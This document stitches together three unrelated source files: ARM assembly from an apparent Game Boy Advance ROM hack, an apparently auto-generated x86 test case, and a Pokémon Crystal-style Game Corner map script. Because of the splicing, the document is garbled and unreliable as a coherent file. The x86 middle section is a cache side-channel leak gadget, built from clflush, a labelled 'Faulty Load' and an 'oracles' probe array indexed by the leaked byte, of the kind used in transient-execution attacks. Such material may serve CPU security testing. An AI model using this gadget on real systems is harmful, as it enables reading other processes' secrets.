swi #5 //The improved performances allow using a VBlank before the storage in order to prevent screen tearing effectively mov r0,#8 bl store_pixels_overworld_buffer pop {r0-r3,pc} //============================================================================== //Stores the buffer into the vram. This avoids screen tearing. store_pixels_overworld_top: push {r0-r3,lr} swi #5 //The improved performances allow using a VBlank before the storage in order to prevent screen tearing effectively mov r0,#0x2 bl store_pixels_overworld_buffer pop {r0-r3,pc} //============================================================================== //Stores the buffer into the vram. This avoids screen tearing. store_pixels_overworld_player_naming: push {r0-r3,lr} swi #5 //The improved performances allow using a VBlank before the storage in order to prevent screen tearing effectively mov r0,#0x4 bl store_pixels_overworld_buffer pop {r0-r3,pc} //============================================================================== //Stores the buffer into the vram. This avoids screen tearing. store_pixels_overworld_psi_window: push {r0-r3,lr} swi #5 //The improved performances allow using a VBlank before the storage in order to prevent screen tearing effectively mov r0,#0xA bl store_pixels_overworld_buffer pop {r0-r3,pc} //============================================================================== //Change tile only if need be (it's different) - foreground call change_palette_needed_foreground: push {lr} mov r3,#0 bl change_palette_needed pop {pc} //============================================================================== //Change tile only if need be (it's different) - background call change_palette_needed_background: push {lr} mov r3,#1 bl change_palette_needed pop {pc} //============================================================================== //Change tile only if need be (it's different), r3 contains whether the EB cart is in the background or not change_palette_needed: push {lr} ldrh r2,[r1,#0] ldrh r1,[r0,#0] cmp r1,r2 beq @@end mov r0,r3 bl eb_cartridge_palette_change @@end: pop {pc} //============================================================================== //Prints the sick tiles and then the names sick_name: push {lr} push {r0-r3} bl 0x80CAC70 //Purple tiles mov r4,r0 pop {r0-r3} bl 0x80CABF8 //Name mov r0,r4 pop {pc} //============================================================================== //Prints the dead tiles and then the names dead_name: push {lr} push {r0-r3} bl 0x80CACE8 //Red tiles mov r4,r0 pop {r0-r3} bl 0x80CABF8 //Name mov r0,r4 pop {pc} //============================================================================== //Prints the alive tiles and then the names - right after the normal status is restored d6dac_alive_name: push {r7,lr} mov r7,r5 bl alive_name pop {r7,pc} //============================================================================== //Prints the alive tiles and then the names alive_name: push {r4,lr} push {r5} mov r5,r2 push {r0-r3} mov r0,r7 mov r1,#0x4D mov r2,r5 mov r3,#0x12 bl 0x80CAD60 //The 1st alive tile mov r0,r7 mov r1,#0x4D mov r2,#1 add r2,r2,r5 mov r3,#0x12 bl 0x80CAD60 //The 2nd alive tile mov r0,r7 mov r1,#0x4D mov r2,#2 add r2,r2,r5 mov r3,#0x12 bl 0x80CAD60 //The 3rd alive tile mov r0,r7 mov r1,#0x4D mov r2,#3 add r2,r2,r5 mov r3,#0x12 bl 0x80CAD60 //The 4th alive tile mov r0,r7 mov r1,#0x4D mov r2,#4 add r2,r2,r5 mov r3,#0x12 bl 0x80CAD60 //The 5th alive tile mov r4,#5 pop {r0-r3} pop {r5} bl 0x80CABF8 //Name mov r0,r4 pop {r4,pc} .pool
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r13 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_WT_ht+0x197a4, %rsi lea addresses_WT_ht+0x12da4, %rdi nop nop nop nop inc %r11 mov $85, %rcx rep movsw nop nop nop nop nop add $46009, %rdi lea addresses_normal_ht+0x544, %r11 nop nop nop nop inc %r9 vmovups (%r11), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $1, %xmm1, %rcx nop nop nop nop and %r11, %r11 lea addresses_WC_ht+0x16fa4, %r10 nop nop nop nop nop add %r11, %r11 movb (%r10), %cl nop nop nop nop inc %r10 lea addresses_normal_ht+0x16d2c, %r9 nop nop nop nop xor %rdi, %rdi mov $0x6162636465666768, %r10 movq %r10, %xmm2 vmovups %ymm2, (%r9) nop nop nop dec %rcx lea addresses_WC_ht+0x16024, %r11 cmp $23993, %rbx movb (%r11), %r9b nop nop nop nop nop cmp $18951, %r10 lea addresses_D_ht+0x16324, %rsi lea addresses_D_ht+0xbf04, %rdi nop nop nop nop inc %r13 mov $37, %rcx rep movsl nop nop and $39008, %r13 lea addresses_WC_ht+0x1d1a4, %rcx sub %rsi, %rsi movb $0x61, (%rcx) nop nop nop xor %r10, %r10 lea addresses_normal_ht+0x1b484, %rsi lea addresses_D_ht+0xc924, %rdi clflush (%rsi) clflush (%rdi) nop nop and %rbx, %rbx mov $74, %rcx rep movsb dec %rcx lea addresses_WC_ht+0xcda4, %rsi lea addresses_UC_ht+0x67a4, %rdi nop nop add $20433, %r11 mov $80, %rcx rep movsw nop nop nop and %r13, %r13 lea addresses_D_ht+0xd94e, %rdi nop sub %r11, %r11 movw $0x6162, (%rdi) nop xor %rsi, %rsi lea addresses_WC_ht+0x128a4, %rsi lea addresses_WT_ht+0x9b24, %rdi clflush (%rsi) nop nop inc %r9 mov $32, %rcx rep movsq nop nop nop add $41694, %r13 lea addresses_WT_ht+0x16d24, %r10 nop nop nop nop nop dec %rsi movb $0x61, (%r10) nop nop nop nop nop add $55036, %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r13 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r15 push %rax push %rbx push %rcx push %rdi push %rsi // REPMOV lea addresses_WT+0x6a34, %rsi lea addresses_A+0x14da4, %rdi clflush (%rsi) clflush (%rdi) nop nop nop nop xor %rax, %rax mov $43, %rcx rep movsq nop nop nop nop sub $57884, %rcx // Store lea addresses_A+0x192a4, %r15 nop nop sub %r12, %r12 mov $0x5152535455565758, %rdi movq %rdi, %xmm4 movups %xmm4, (%r15) nop nop nop nop dec %rdi // REPMOV lea addresses_D+0xb526, %rsi lea addresses_D+0x8ab9, %rdi clflush (%rdi) nop nop nop nop sub $55265, %r15 mov $76, %rcx rep movsl nop nop sub %rax, %rax // Load lea addresses_PSE+0xa3a4, %r12 nop nop nop nop nop cmp %rsi, %rsi movb (%r12), %cl nop nop nop nop nop and %rcx, %rcx // Faulty Load lea addresses_RW+0x1eda4, %rax xor $45652, %r15 movb (%rax), %cl lea oracles, %rbx and $0xff, %rcx shlq $12, %rcx mov (%rbx,%rcx,1), %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r15 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_RW', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_A', 'congruent': 10, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_A', 'same': False, 'size': 16, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_D', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_D', 'congruent': 0, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_PSE', 'same': False, 'size': 1, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_RW', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': True}, 'OP': 'REPM'} {'src': {'type': 'addresses_normal_ht', 'same': True, 'size': 32, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 2, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 1, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
GOLDENRODGAMECORNER_TM25_COINS EQU 5500 GOLDENRODGAMECORNER_TM14_COINS EQU 5500 GOLDENRODGAMECORNER_TM38_COINS EQU 5500 GOLDENRODGAMECORNER_ABRA_COINS EQU 100 GOLDENRODGAMECORNER_CUBONE_COINS EQU 800 GOLDENRODGAMECORNER_WOBBUFFET_COINS EQU 1500 object_const_def ; object_event constants const GOLDENRODGAMECORNER_CLERK const GOLDENRODGAMECORNER_RECEPTIONIST1 const GOLDENRODGAMECORNER_RECEPTIONIST2 const GOLDENRODGAMECORNER_PHARMACIST1 const GOLDENRODGAMECORNER_PHARMACIST2 const GOLDENRODGAMECORNER_POKEFAN_M1 const GOLDENRODGAMECORNER_COOLTRAINER_M const GOLDENRODGAMECORNER_POKEFAN_F const GOLDENRODGAMECORNER_COOLTRAINER_F const GOLDENRODGAMECORNER_GENTLEMAN const GOLDENRODGAMECORNER_POKEFAN_M2 const GOLDENRODGAMECORNER_MOVETUTOR GoldenrodGameCorner_MapScripts: db 0 ; scene scripts db 1 ; callbacks callback MAPCALLBACK_OBJECTS, .MoveTutor .MoveTutor: checkevent EVENT_BEAT_ELITE_FOUR iffalse .finish checkitem COIN_CASE iffalse .move_tutor_inside readvar VAR_WEEKDAY ifequal WEDNESDAY, .move_tutor_outside ifequal SATURDAY, .move_tutor_outside .move_tutor_inside appear GOLDENRODGAMECORNER_MOVETUTOR return .move_tutor_outside checkflag ENGINE_DAILY_MOVE_TUTOR iftrue .finish disappear GOLDENRODGAMECORNER_MOVETUTOR .finish return MoveTutorInsideScript: faceplayer opentext writetext MoveTutorInsideText waitbutton closetext turnobject GOLDENRODGAMECORNER_MOVETUTOR, RIGHT end GoldenrodGameCornerCoinVendorScript: jumpstd gamecornercoinvendor GoldenrodGameCornerTMVendorScript: faceplayer opentext writetext GoldenrodGameCornerPrizeVendorIntroText waitbutton checkitem COIN_CASE iffalse GoldenrodGameCornerPrizeVendor_NoCoinCaseScript writetext GoldenrodGameCornerPrizeVendorWhichPrizeText GoldenrodGameCornerTMVendor_LoopScript: special DisplayCoinCaseBalance loadmenu GoldenrodGameCornerTMVendorMenuHeader verticalmenu closewindow ifequal 1, .Thunder ifequal 2, .Blizzard ifequal 3, .FireBlast sjump GoldenrodGameCornerPrizeVendor_CancelPurchaseScript .Thunder: checkcoins GOLDENRODGAMECORNER_TM25_COINS ifequal HAVE_LESS, GoldenrodGameCornerPrizeVendor_NotEnoughCoinsScript getitemname STRING_BUFFER_3, TM_THUNDER scall GoldenrodGameCornerPrizeVendor_ConfirmPurchaseScript iffalse GoldenrodGameCornerPrizeVendor_CancelPurchaseScript giveitem TM_THUNDER iffalse GoldenrodGameCornerPrizeMonVendor_NoRoomForPrizeScript takecoins GOLDENRODGAMECORNER_TM25_COINS sjump GoldenrodGameCornerTMVendor_FinishScript .Blizzard: checkcoins GOLDENRODGAMECORNER_TM14_COINS ifequal HAVE_LESS, GoldenrodGameCornerPrizeVendor_NotEnoughCoinsScript getitemname STRING_BUFFER_3, TM_BLIZZARD scall GoldenrodGameCornerPrizeVendor_ConfirmPurchaseScript iffalse GoldenrodGameCornerPrizeVendor_CancelPurchaseScript giveitem TM_BLIZZARD iffalse GoldenrodGameCornerPrizeMonVendor_NoRoomForPrizeScript takecoins GOLDENRODGAMECORNER_TM14_COINS sjump GoldenrodGameCornerTMVendor_FinishScript .FireBlast: checkcoins GOLDENRODGAMECORNER_TM38_COINS ifequal HAVE_LESS, GoldenrodGameCornerPrizeVendor_NotEnoughCoinsScript getitemname STRING_BUFFER_3, TM_FIRE_BLAST scall GoldenrodGameCornerPrizeVendor_ConfirmPurchaseScript iffalse GoldenrodGameCornerPrizeVendor_CancelPurchaseScript giveitem TM_FIRE_BLAST iffalse GoldenrodGameCornerPrizeMonVendor_NoRoomForPrizeScript takecoins GOLDENRODGAMECORNER_TM38_COINS sjump GoldenrodGameCornerTMVendor_FinishScript GoldenrodGameCornerPrizeVendor_ConfirmPurchaseScript: writetext GoldenrodGameCornerPrizeVendorConfirmPrizeText yesorno end GoldenrodGameCornerTMVendor_FinishScript: waitsfx playsound SFX_TRANSACTION writetext GoldenrodGameCornerPrizeVendorHereYouGoText waitbutton sjump GoldenrodGameCornerTMVendor_LoopScript GoldenrodGameCornerPrizeVendor_NotEnoughCoinsScript: writetext GoldenrodGameCornerPrizeVendorNeedMoreCoinsText waitbutton closetext end GoldenrodGameCornerPrizeMonVendor_NoRoomForPrizeScript: writetext GoldenrodGameCornerPrizeVendorNoMoreRoomText waitbutton closetext end GoldenrodGameCornerPrizeVendor_CancelPurchaseScript: writetext GoldenrodGameCornerPrizeVendorQuitText waitbutton closetext end GoldenrodGameCornerPrizeVendor_NoCoinCaseScript: writetext GoldenrodGameCornerPrizeVendorNoCoinCaseText waitbutton closetext end GoldenrodGameCornerTMVendorMenuHeader: db MENU_BACKUP_TILES ; flags menu_coords 0, 2, 15, TEXTBOX_Y - 1 dw .MenuData db 1 ; default option .MenuData: db STATICMENU_CURSOR ; flags db 4 ; items db "TM25 5500@" db "TM14 5500@" db "TM38 5500@" db "CANCEL@" GoldenrodGameCornerPrizeMonVendorScript: faceplayer opentext writetext GoldenrodGameCornerPrizeVendorIntroText waitbutton checkitem COIN_CASE iffalse GoldenrodGameCornerPrizeVendor_NoCoinCaseScript .loop writetext GoldenrodGameCornerPrizeVendorWhichPrizeText special DisplayCoinCaseBalance loadmenu .MenuHeader verticalmenu closewindow ifequal 1, .Abra ifequal 2, .Cubone ifequal 3, .Wobbuffet sjump GoldenrodGameCornerPrizeVendor_CancelPurchaseScript .Abra: checkcoins GOLDENRODGAMECORNER_ABRA_COINS ifequal HAVE_LESS, GoldenrodGameCornerPrizeVendor_NotEnoughCoinsScript readvar VAR_PARTYCOUNT ifequal PARTY_LENGTH, GoldenrodGameCornerPrizeMonVendor_NoRoomForPrizeScript getmonname STRING_BUFFER_3, ABRA scall GoldenrodGameCornerPrizeVendor_ConfirmPurchaseScript iffalse GoldenrodGameCornerPrizeVendor_CancelPurchaseScript waitsfx playsound SFX_TRANSACTION writetext GoldenrodGameCornerPrizeVendorHereYouGoText waitbutton loadmonindex 1, ABRA special GameCornerPrizeMonCheckDex givepoke ABRA, 5 takecoins GOLDENRODGAMECORNER_ABRA_COINS sjump .loop .Cubone: checkcoins GOLDENRODGAMECORNER_CUBONE_COINS ifequal HAVE_LESS, GoldenrodGameCornerPrizeVendor_NotEnoughCoinsScript readvar VAR_PARTYCOUNT ifequal PARTY_LENGTH, GoldenrodGameCornerPrizeMonVendor_NoRoomForPrizeScript getmonname STRING_BUFFER_3, CUBONE scall GoldenrodGameCornerPrizeVendor_ConfirmPurchaseScript iffalse GoldenrodGameCornerPrizeVendor_CancelPurchaseScript waitsfx playsound SFX_TRANSACTION writetext GoldenrodGameCornerPrizeVendorHereYouGoText waitbutton loadmonindex 2, CUBONE special GameCornerPrizeMonCheckDex givepoke CUBONE, 15 takecoins GOLDENRODGAMECORNER_CUBONE_COINS sjump .loop .Wobbuffet: checkcoins GOLDENRODGAMECORNER_WOBBUFFET_COINS ifequal HAVE_LESS, GoldenrodGameCornerPrizeVendor_NotEnoughCoinsScript readvar VAR_PARTYCOUNT ifequal PARTY_LENGTH, GoldenrodGameCornerPrizeMonVendor_NoRoomForPrizeScript getmonname STRING_BUFFER_3, WOBBUFFET scall GoldenrodGameCornerPrizeVendor_ConfirmPurchaseScript iffalse GoldenrodGameCornerPrizeVendor_CancelPurchaseScript waitsfx playsound SFX_TRANSACTION writetext GoldenrodGameCornerPrizeVendorHereYouGoText waitbutton loadmonindex 3, WOBBUFFET special GameCornerPrizeMonCheckDex givepoke WOBBUFFET, 15 takecoins GOLDENRODGAMECORNER_WOBBUFFET_COINS sjump .loop .MenuHeader: db MENU_BACKUP_TILES ; flags menu_coords 0, 2, 17, TEXTBOX_Y - 1 dw .MenuData db 1 ; default option .MenuData: db STATICMENU_CURSOR ; flags db 4 ; items db "ABRA 100@" db "CUBONE 800@" db "WOBBUFFET 1500@" db "CANCEL@" GoldenrodGameCornerPharmacistScript: faceplayer opentext writetext GoldenrodGameCornerPharmacistText waitbutton closetext turnobject LAST_TALKED, LEFT end GoldenrodGameCornerPokefanM1Script: faceplayer opentext writetext GoldenrodGameCornerPokefanM1Text waitbutton closetext turnobject GOLDENRODGAMECORNER_POKEFAN_M1, RIGHT end GoldenrodGameCornerCooltrainerMScript: faceplayer opentext writetext GoldenrodGameCornerCooltrainerMText waitbutton closetext turnobject GOLDENRODGAMECORNER_COOLTRAINER_M, LEFT end GoldenrodGameCornerPokefanFScript: faceplayer opentext writetext GoldenrodGameCornerPokefanFText waitbutton closetext turnobject GOLDENRODGAMECORNER_POKEFAN_F, RIGHT end GoldenrodGameCornerCooltrainerFScript: jumptextfaceplayer GoldenrodGameCornerCooltrainerFText GoldenrodGameCornerGentlemanScript: faceplayer opentext writetext GoldenrodGameCornerGentlemanText waitbutton closetext turnobject GOLDENRODGAMECORNER_GENTLEMAN, RIGHT end GoldenrodGameCornerPokefanM2Script: jumptextfaceplayer GoldenrodGameCornerPokefanM2Text GoldenrodGameCornerLeftTheirDrinkScript: jumptext GoldenrodGameCornerLeftTheirDrinkText GoldenrodGameCornerSlotsMachineScript: random 6 ifequal 0, GoldenrodGameCornerLuckySlotsMachineScript refreshscreen setval FALSE special SlotMachine closetext end GoldenrodGameCornerLuckySlotsMachineScript: refreshscreen setval TRUE special SlotMachine closetext end GoldenrodGameCornerCardFlipMachineScript: refreshscreen special CardFlip closetext end GoldenrodGameCornerPrizeVendorIntroText: text "Welcome!" para "We exchange your" line "game coins for" cont "fabulous prizes!" done GoldenrodGameCornerPrizeVendorWhichPrizeText: text "Which prize would" line "you like?" done GoldenrodGameCornerPrizeVendorConfirmPrizeText: text_ram wStringBuffer3 text "." line "Is that right?" done GoldenrodGameCornerPrizeVendorHereYouGoText: text "Here you go!" done GoldenrodGameCornerPrizeVendorNeedMoreCoinsText: text "Sorry! You need" line "more coins." done GoldenrodGameCornerPrizeVendorNoMoreRoomText: text "Sorry. You can't" line "carry any more." done GoldenrodGameCornerPrizeVendorQuitText: text "OK. Please save" line "your coins and" cont "come again!" done GoldenrodGameCornerPrizeVendorNoCoinCaseText: text "Oh? You don't have" line "a COIN CASE." done GoldenrodGameCornerPharmacistText: text "I always play this" line "slot machine. It" para "pays out more than" line "others, I think." done GoldenrodGameCornerPokefanM1Text: text "I just love this" line "new slot machine." para "It's more of a" line "challenge than the" cont "ones in CELADON." done GoldenrodGameCornerCooltrainerMText: text "Life is a gamble." line "I'm going to flip" cont "cards till I drop!" done GoldenrodGameCornerPokefanFText: text "Card flip…" para "I prefer it over" line "the slots because" para "it's easier to" line "figure the odds." para "But the payout is" line "much lower." done GoldenrodGameCornerCooltrainerFText: text "I won't quit until" line "I win!" done GoldenrodGameCornerGentlemanText: text "I taught BLIZZARD" line "to my #MON." para "It was hard to get" line "enough coins for" para "it, but it was" line "worth it." done GoldenrodGameCornerPokefanM2Text: text "I couldn't win at" line "the slots, and I" para "blew it on card" line "flipping…" para "I got so furious," line "I tossed out my" para "COIN CASE in the" line "UNDERGROUND." done MoveTutorInsideText: text "Wahahah! The coins" line "keep rolling in!" done GoldenrodGameCornerLeftTheirDrinkText: text "Someone left their" line "drink." para "It smells sweet." done GoldenrodGameCorner_MapEvents: db 0, 0 ; filler db 2 ; warp events warp_event 2, 13, GOLDENROD_CITY, 10 warp_event 3, 13, GOLDENROD_CITY, 10 db 0 ; coord events db 31 ; bg events bg_event 6, 6, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript bg_event 6, 7, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript bg_event 6, 8, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript bg_event 6, 9, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript bg_event 6, 10, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript bg_event 6, 11, BGEVENT_RIGHT, GoldenrodGameCornerSlotsMachineScript bg_event 7, 6, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript bg_event 7, 7, BGEVENT_READ, GoldenrodGameCornerLuckySlotsMachineScript bg_event 7, 8, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript bg_event 7, 9, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript bg_event 7, 10, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript bg_event 7, 11, BGEVENT_LEFT, GoldenrodGameCornerSlotsMachineScript bg_event 12, 6, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript bg_event 12, 7, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript bg_event 12, 8, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript bg_event 12, 9, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript bg_event 12, 10, BGEVENT_READ, GoldenrodGameCornerSlotsMachineScript bg_event 12, 11, BGEVENT_RIGHT, GoldenrodGameCornerSlotsMachineScript bg_event 13, 6, BGEVENT_READ, GoldenrodGameCornerCardFlipMachineScript bg_event 13, 7, BGEVENT_READ, GoldenrodGameCornerCardFlipMachineScript bg_event 13, 8, BGEVENT_READ, GoldenrodGameCornerCardFlipMachineScript bg_event 13, 9, BGEVENT_READ, GoldenrodGameCornerCardFlipMachineScript bg_event 13, 10, BGEVENT_READ, GoldenrodGameCornerCardFlipMachineScript bg_event 13, 11, BGEVENT_LEFT, GoldenrodGameCornerCardFlipMachineScript bg_event 18, 6, BGEVENT_READ, GoldenrodGameCornerCardFlipMachineScript bg_event 18, 7, BGEVENT_READ, GoldenrodGameCornerCardFlipMachineScript bg_event 18, 8, BGEVENT_READ, GoldenrodGameCornerCardFlipMachineScript bg_event 18, 9, BGEVENT_READ, GoldenrodGameCornerCardFlipMachineScript bg_event 18, 10, BGEVENT_READ, GoldenrodGameCornerCardFlipMachineScript bg_event 18, 11, BGEVENT_RIGHT, GoldenrodGameCornerCardFlipMachineScript bg_event 12, 1, BGEVENT_LEFT, GoldenrodGameCornerLeftTheirDrinkScript db 12 ; object events object_event 3, 2, SPRITE_CLERK, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerCoinVendorScript, -1 object_event 16, 2, SPRITE_RECEPTIONIST, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerTMVendorScript, -1 object_event 18, 2, SPRITE_RECEPTIONIST, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerPrizeMonVendorScript, -1 object_event 8, 7, SPRITE_PHARMACIST, SPRITEMOVEDATA_STANDING_LEFT, 0, 0, -1, DAY, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerPharmacistScript, -1 object_event 8, 7, SPRITE_PHARMACIST, SPRITEMOVEDATA_STANDING_LEFT, 0, 0, -1, NITE, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerPharmacistScript, -1 object_event 11, 10, SPRITE_POKEFAN_M, SPRITEMOVEDATA_STANDING_RIGHT, 0, 0, -1, -1, PAL_NPC_BROWN, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerPokefanM1Script, -1 object_event 14, 8, SPRITE_COOLTRAINER_M, SPRITEMOVEDATA_STANDING_LEFT, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerCooltrainerMScript, -1 object_event 17, 6, SPRITE_POKEFAN_F, SPRITEMOVEDATA_STANDING_RIGHT, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerPokefanFScript, -1 object_event 10, 3, SPRITE_COOLTRAINER_F, SPRITEMOVEDATA_WANDER, 2, 1, -1, -1, PAL_NPC_GREEN, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerCooltrainerFScript, -1 object_event 5, 10, SPRITE_GENTLEMAN, SPRITEMOVEDATA_STANDING_RIGHT, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerGentlemanScript, -1 object_event 2, 9, SPRITE_POKEFAN_M, SPRITEMOVEDATA_WANDER, 1, 1, -1, -1, PAL_NPC_BROWN, OBJECTTYPE_SCRIPT, 0, GoldenrodGameCornerPokefanM2Script, -1 object_event 17, 10, SPRITE_POKEFAN_M, SPRITEMOVEDATA_STANDING_RIGHT, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, MoveTutorInsideScript, EVENT_GOLDENROD_GAME_CORNER_MOVE_TUTOR
